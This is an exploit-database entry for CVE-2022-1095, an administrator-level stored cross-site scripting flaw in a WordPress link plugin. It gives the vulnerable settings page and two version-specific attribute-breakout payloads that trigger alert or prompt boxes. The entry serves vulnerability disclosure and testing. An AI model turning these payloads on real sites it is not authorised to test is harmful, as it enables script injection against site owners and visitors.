Exploit for Mihdan: No External Links < 5.0.2 - Admin+ Stored Cross-Site Scripting CVE-2022-1095

Name: Exploit for Mihdan: No External Links < 5.0.2 - Admin+ Stored Cross-Site Scripting CVE-2022-1095
Rating: 5 (98 reviews)

2022-06-02 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:BF476A3E-05BA-4B54-8A65-3D261AD5337B
Put the following payload in any of the text fields in the Settings > Links of the plugin (/wp-admin/admin.php?page=mihdan-no-external-links&tab=links): 

v < 4.8.0 - "><img src onerror=prompt(/XSS/)>
v < 5.0.2 - " style=animation-name:rotation onanimationstart=alert(/XSS/)//